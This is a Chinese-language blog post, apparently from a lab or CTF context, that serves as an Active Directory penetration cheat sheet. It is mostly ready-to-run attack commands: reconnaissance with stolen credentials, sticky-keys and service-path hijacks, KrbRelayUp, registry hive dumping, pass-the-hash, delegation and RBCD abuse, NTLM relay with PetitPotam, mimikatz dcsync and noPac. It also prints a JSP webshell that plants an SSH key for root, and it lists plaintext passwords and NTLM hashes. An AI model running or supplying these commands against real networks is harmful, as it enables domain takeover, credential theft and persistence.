域渗透-备忘录

impacket包的使用

信息收集


proxychains4 -q -f /etc/proxychains.conf crackmapexec 172.22.4.0/24
#默认的扫描方式

proxychains4 -q -f /etc/proxychains.conf crackmapexec smb 172.22.4.0/24 -u '' -p ''
#查看445端口开放

proxychains4 -q -f /etc/proxychains.conf crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam
#相当于漏洞扫描

proxychains4 -q -f /etc/proxychains.conf crackmapexec 172.22.11.45 -u yangmei -p xrihGHgoNZQ  --pass-pol 
#会导出密码策略

proxychains4 -q -f /etc/proxychains.conf crackmapexec 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ 
#会导出域内这个账户可以登录的机器

proxychains4 -q -f /etc/proxychains.conf crackmapexec 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ  --shares

#列出共享,同时注意到192.168.0.12的右边显示了黄色的"Pwn3d!"这意味着我们在这台机器上拥有管理员权限

proxychains4 -q -f /etc/proxychains.conf crackmapexec 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ  --lusers

#谁登录了这个机器 还有很多 –-exec-method smbexec
#--sam  
#--wdigest enable

#-x 'quesr' 让这个用户下线

最关键的是Bloodhound,他可以帮助我们分析很多东西。

bloodhound.py -u win19$ --hashes :ba21c629d9fd56aff10c3e826323e6ab -d xiaorang.lab -dc dc01.xiaorang.lab -c all --dns-tcp -ns 172.22.4.7 --auth-method ntlm --zip
portscan 172.22.8.18,172.22.8.46,172.22.8.15,172.22.8.31 22,80,445,3389 arp 1024

权限提升

可以使用windows的提权工具有很多在github,好不好用我不知道。PrivescCheck
还有在线提权网址,下面我给几个经典的提权方法。

bypassuac
sweetpotato-new 这个需要用新版的,老版本的clsid可能打不成功,需要用ps1脚本获取可以利用的clsid
镜像劫持-劫持放大镜和五次shift

查看注册表权限

get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

劫持五次shift
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

劫持放大镜
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

krbrelayup提权,域普通权限用户在域内机器,直接提权到system权限

添加一个用户

KrbRelayUp.exe relay --domain xiaorang.lab --CreateNewComputerAccount --ComputerName fuckyou12$ --ComputerPassword fuck123... -cls c980e4c2-c178-4572-935d-a8a429884806

#这里的clsid具体是啥我也没了解,反正就是注册表程序编号,例如这一串645FF040-5081-101B-9F08-00AA002F954E对应回收站

获取shell

KrbRelayUp.exe spawn -m rbcd -d xiaorang.lab -dc DC01.xiaorang.lab -cn fuckyou12$ -cp fuck123...

还有就是通过PrivescCheck获取信息,发现存在一个google的update服务,我们可以通过services.msc打开这个页面,既然这个是由system权限运行的,那我们可以替换这个运行的项目,改为运行我们的木马,其实也很简单,通过powershell就行

在这里插入图片描述
关注这一栏,当前用户Adrian对该注册表有完全控制权限
在这里插入图片描述
在这里插入图片描述
那么我们可以把他的路径给替换了,直接改成我们的木马路径就行了,然后再powershell执行修改,我不知道能不能直接运行一个msf或者cs的exe,我选择进行hash的获取。

我们新建一个sam.bat 内容如下,很简单就是获取三个东西,保存到桌面,我们dump到kali,可以通过secretsdump进行dump
#secretsdump.py LOCAL -system system -security security -sam sam 
reg save hklm\system C:\Users\Adrian\Desktop\system
reg save hklm\sam C:\Users\Adrian\Desktop\sam
reg save hklm\security C:\Users\Adrian\Desktop\security

然后创建一个msf的service木马(我不知道直接的exe行不行,忘记测试了,应该service的exe和其他不一样吧emm),已cmd运行这个bat
msfvenom -p windows/x64/exec cmd='C:\Windows\System32\cmd.exe C:\Users\Adrian\Desktop\sam.bat' --platform windows -f exe-service >a.exe

然后通过powershell修改这个google update服务路径
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d " C:\Users\Adrian\Desktop\a.exe" /f 

通过 sc start gupdate 运行这个服务,也许是这个Start-Service -Name gupdate 命令?可能要管理员权限运行powershell才能
#gupdate就是服务名,可能运行不成功,我们可以通过services.msc打开这个页面,找到服务运行就可以了
#也许是这个Start-Service -Name gupdate 命令?

在这里插入图片描述

远程连接

proxychains4 -q -f /etc/proxychains.conf psexec.py xiaorang.lab/Administrator@172.22.4.19 -hashes :4889f6553239ace1f7c47fa2c619c252 -codec gbk

#proxychains4是代理工具,xiaorang.lab为域名,-hashes为ntlm的hash,目标开445也就是smb就行,会留下痕迹,会注册服务


proxychains4 -q -f /etc/proxychains.conf smbexec.py xiaorang.lab/administrator@172.22.4.7 -hashes 4889f6553239ace1f7c47fa2c619c252

#这个得开文件共享


proxychains4 -q -f /etc/proxychains.conf wmiexec.py xiaorang.lab/administrator@172.22.4.7 -hashes :4889f6553239ace1f7c47fa2c619c252

#没有痕迹

proxychains4 -q smbclient.py Administrator@172.22.11.45 -hashes :48f6da83eb89a4da8a1cc963b855a799
#可以用于下载和传输文件,use c$
#常用的ls或者dir,cd,pwd和linux命令一致,查看当前目录下的文件,切换目录和查看当前路径
#到目录,put mimikatz.exe上传文件,get fscan.txt下载文件,exit退出

smbclient -L  //192.168.60.2 -U test 
#还可以跟文件后缀,因为可能不是所以文件夹都共享//192.168.60.2/c$   //192.168.60.2/ADMIN$

mysql和mssql等数据库的连接可以用MDUT2.0连接工具https://github.com/SafeGroceryStore/MDUT
fscan和3389弱口令爆破都还行

委派

委派:当设置了非约束性委派,需要让域控模拟访问被设置了非约束委派的机器,关键是需要域控来访问我们的机器的服务呢(例如winrm服务),这样我们就是获得域控权限了,怎么让域控访问我们呢?有几个方法。
1.printspooler(打印机漏洞)
2.DFSCoerce
3.PetitPotam

非约束委派

发现win19$ 和DC01$都是非约束委派

首先我们在机器创建监听

#Rubeus.exe monitor /interval:1 /filteruser:DC01$
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
# DC01$为域控的主机名字加$
.\Rubeus.exe monitor /interval:1 /nowarp /targetuser:DC01$ 

那么我们在运行spoolsample.exe DC01 win19 
#win19为机器名字
或者用DFSCoerce 
python3 dfscoerce.py -u 'win19$' -hashes :ba21c629d9fd56aff10c3e826323e6ab -d xiaorang.lab win19 172.22.4.7

这样我们的Rubeus就获取到了域控的TGT了
在这里插入图片描述
我们先复制Rubeus监听到的TGT,由于这里每行都加了换行,我们用这个python脚本去掉每行的换行符

data=""
for line in open('1.txt','r'):
    data += line.strip('\n')
with open("2.txt",'a') as f:
    f.write(data)
print('保存完毕')

以本地管理员权限运行rubeus.exe导入TGT

Rubeus.exe ptt /ticket:TGT

在这里插入图片描述
这里用Base64的tgt 解码存为 DC01.kirbi也可以,记得去掉换行

powershell执行
[IO.File]::WriteAllBytes("C:\Users\test\Desktop\DC01.kirbi",[Convert]::FromBase64String("TGT"))
#TGT为之前获取到的tgt去掉换行

接下来用dcsync导出域控hash就行了

mimikatz.exe "kerberos:purge" "kerberos::ptt DC01.kirbi" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

直接Rubeus注入的不需要导入票据,直接dcsync就行,然后就是psexec登录域控了

约束委派

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U协议,其中S4U支持两个子协议:S4U2Self和S4U2proxy,S4U2Self用于生成本身服务TGS票据,S4U2proxy用户“代理”相关用户申请其他服务票据。

那么我们就只能访问某个服务,例如cifs服务

1. 将yuwin7域账号注册为服务账号,也就是设置spn
setspn -U -A mysql/admin-PC.test.lab yuwin7
#取消注册
setspn -D mysql/admin-PC.test.lab yuwin7

当然这个是域管设置的,我们通过Bloodhound收集到信息就可以利用。admin-PC对DC的CIFS服务存在约束委派
攻击流程

1.用kekeo获得TGT

kekeo "tgt::ask /user:yuwin7 /password:yuwin7.com /domain:test.lab /ticket:s4u.kirbi" "exit"
 
#/user: 服务⽤户的⽤户名
#/password: 服务⽤户的明⽂密码
#/domain: 所在域名
#/ticket: 指定票据名称,不过这个参数没有⽣效,可以忽略
 
kekeo "tgt::ask /user:yuwin7 /NTLM:XXXXX /domain:test.lab" #使用hash

2.得到服务用户的TGT:"TGT_yuwin7@TEST.LAB_krbtgt~test.lab@TEST.LAB.kirbi"

然后通过S4U,获得cifs的票据

kekeo "tgs::s4u /tgt:TGT_yuwin7@TEST.LAB_krbtgt~test.lab@TEST.LAB.kirbi /user:Administrator /service:cifs/DC.test.lab" "exit"

3.通过mimikatz注入

mimikatz "kerberos::ptt TGS_Administrator@TEST.LAB_cifs~DC.test.lab@TEST.LAB.kirbi" "exit"

4.直接dir \\172.22.4.7\c$ 就行了

当然还有一键完成的
rubeus.exe s4u /user:admin-pc$ /rc4:cfb666bd42ba3d191138b82631eb6e85 /domain:test.lab /impersonateuser:administrator /msdsspn:cifs/dc.test.lab /ptt

也是直接dir \\DC\c$就行了

基于资源的约束委派(RBCD)

前提

我们需要一个加域的⽤户的账号密码,因为只需拥有在计算机对象上编辑 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限就可以,普通域用户都有这个权限,也就是MAQ(ms-DS-MachineAccountQuota),当MAQ=0的时候,我们就不能加机器账户了。

攻击流程

通过 ADfind 查询每个域机器是由哪个域⽤户添加进域的,因为只有这个用户或域管才有msDS-AllowedToActOnBehalfOfOtherIdentity的权限。

域控:192.168.10.2 test\administrator
主机:192.168.10.4 test\yu 机器名:win2008
主机:192.168.10.5 test\yuwin7 机器名:ADMIN–PC
其中yu这个用户就是加域的用户,其将ADMIN–PC这台机器加入到了域环境中

1.导出加域用户sid
AdFind.exe -h 192.168.10.2 -u yu -up yu.com -b "DC=test,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID

2.查看sid对应的用户是谁
wmic useraccount get /all | findstr  S-1-5-21-587556175-550635965-2643831430-1107 > 2.txt

3.利⽤powermad添加机器账户
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

4.获取test机器账户的sid值
import-module .\Microsoft.ActiveDirectory.Management.dll
Get-MachineAccountAttribute -MachineAccount test -Attribute servicePrincipalName

5.修改ADMIN--PC的 "msds-allowedtoactonbehalfofotheridentity"值为该机器账户的sid
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-587556175-550635965-2643831430-1110)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer ADMIN--PC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

6.用getST生成票据就可以了
python getST.py -dc-ip 192.168.10.2 test.lab/test\$:123456 -spn cifs/ADMIN--PC.test.lab -impersonate administrator
#这里就是我们创建的机器账户

7.mimikatz导入票据
mimikatz "kerberos::ptc administrator.ccache"
直接dir就行

7.或者直接用export KRB5CCNAME=administrator.ccache
然后psexec.py -no-pass -k -dc-ip 192.168.10.2 ADMIN-PC.test.com

这里是cifs票据,ADMIN-PC是域内普通机器

思考
要是我们MAQ=0怎么办,那我们就不能添加机器账户了呀。

当然得继续深入了,我们刚刚了解到当MAQ为0时便不能创建机器账号,也不能改对应的属性,
那么我们能不能去寻找一些能修改已存在的机器账号的用户?在学习基于资源型的约束委派时,
我们得知将机器拉入域中的账号,默认便对该机器有WriteProperty,那么便可以去查找域内存在mS-DS-CreatorSID的机器账号,
然后对应找到目标用户,在拿到其权限后便可修改机器账号属性,从而实现该漏洞的利用。

所以我们可以去找机器账户,看看是谁拉入的。可以看下面一个场景

域用户yangmei拉入XR-LCM3AE8B,XR-Desktop进入的域,那么我们可以直接简化上面步骤了。

通过域用户yangmei拿下XR-LCM3AE8B

ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access

python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26
#这里的ubuntu也就是我们的ntlmrelayx的主机,也就是172.22.11.76 让XR-LCM3AE8B(172.22.11.26)来认证我们,用PetitPotam来强制触发,也就是ntlm relay到ldap 

然后通过XR-Desktop拿下XR-LCM3AE8B的票据
getST.py -spn cifs/XR-LCM3AE8B.xiaorang.lab  -impersonate administrator -hashes :48f6da83eb89a4da8a1cc963b855a799 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6 

总结

委派获取的权限在于,委派的用户是谁,被委派什么服务,如果是普通域用户,那就获得普通域用户的票据,如果是域管,那就是域管票据,信息收集可以通过Bloodhuond。

例如DC01$委派WIN2016$,那么用win2016的账户进行getST就能获取到DC01的票据了

getST.py -spn cifs/dc01.xiaorang.lab  -impersonate administrator -hashes :48f6da83eb89a4da8a1cc963b855a799 xiaorang.lab/WIN2016\$ -dc-ip 172.22.8.15

export KRB5CCNAME=administrator.ccache

psexec.py xiaorang.lab/administrator@dc01.xiaorang.lab -k -no-pass -dc-ip 172.22.8.15 -target-ip 172.22.8.15 -codec gbk

进击域控

历史漏洞

1.MS14-068 普通域用户构造PAC,伪造白银票据访问域控,在TGT中插入PAC,导致伪造成域管票据
2.CVE-2020-1472 域内ZeroLogon,也就是域管hash置空
3.CVE-2021-42287&42278 也就是nopac,用sam_the_admin直接打

noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -use-ldap -create-child -dc-ip 172.22.11.6

python3 sam_the_admin.py "xiaorang.lab/yangmei:xrihGHgoNZQ" -dc-ip 172.22.11.6 -shell

4.一些exchange的ntlm relay的漏洞,和Proxyshell等等

Ghost-tomcat(幽灵猫)

<%    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDYmFKSjQ4OXJxT0Y0Q2RGbU1wUjNuRDhKbFpqT1YvYklTdmp1VVl0am5INEQvVHoyZEl5OHI1dmpXN05Fcm8rajZZOUJiN01jM0NBSjdUWGI2QXBOem1UcGhZYldadVdWVU1CaCtqRzdUbmZsNVlCcWxNbnVjeXJ6UTkzUHhRbWFnOVdGRElUYjBtZ056NkNEYzQ1cFRmRVJ2QVB5WXZ3UnlYYWdTUWxTaUlXOU9sSUxOeXRBeUQ3d0lYM0xlN3hkOUtrM2JSZXlxQ1VtWnFKbXVwTEpGV1NVUEFoVlFPYjNnRHQ3TUVEUXFsV2RaZ3N0OFNvN3pMdkdGUkxRdnhFVEFzYjhZUUNxbVlta2RkYk9QcDd6ZjVQTldnMEFIV0RUaHdMeGZUODJ2aTBwMW83NW9EVGxZVzRqNTNMRTlhNmwyYXFTbkQyRGY0Wk1IQTVoYWlDai9aWjl0a0pDVkMxR1o1QlZkT1JqZ0RCclpYK3kxblQ4L0hrZ3JzUnUyWWZldGFZQUUyR3VhUXFDOXVwNkNQak1oUXR0ejFMWGRsRFdRSlBJbCs3Yi9Gc0JsM2E0Yi9hSmlndlZNSGR1Y2w1aDdsQUFaVGJBQnpjL1BML0pjV0JjcVhsNUptTS9oZllTWDJ3bFZaVDMreHlGME9jeWErd3ZYZk9mL2tVdm1kTTg9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}").getInputStream();    int a = -1;    byte[] b = new byte[2048];    out.print("<pre>");    while((a=in.read(b))!=-1){        out.println(new String(b));    }    out.print("</pre>");%>

NTLM-realy

ntlm就是可以将ntlm请求relay到smb或者ldap,还涉及一些smb或者ldap签名,从三个方向思考。

1.怎么发起ntlm请求
2.拿到ntlm请求之后要做什么
3.服务端是否要求签名-默认策略是协商签名,而且是由client协商签名的

第一点可以用以下几个来迫使目标机器访问我们ntlmrelayx.py的机器服务,然后再relay到域控的smb或者ldap,获取目标机器的票据。

1.printspooler(打印机漏洞)
2.DFSCoerce
3.PetitPotam

那么第二点其实能做的事情很多,例如给用户加dacl,让用户可以获取dcsync权限或者直接拿到票据。

典型的漏洞有几个

MS08-068
CVE-2015-0005
MS16-075,还有很多potato
CVE-2018-8581,exchange的ssrf
CVE-2019-1040 绕过ntlm的mic
CVE-2019-1384-Ghost potato,这个漏洞绕过了MS08-068之后,用户不能relay回本机的限制
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值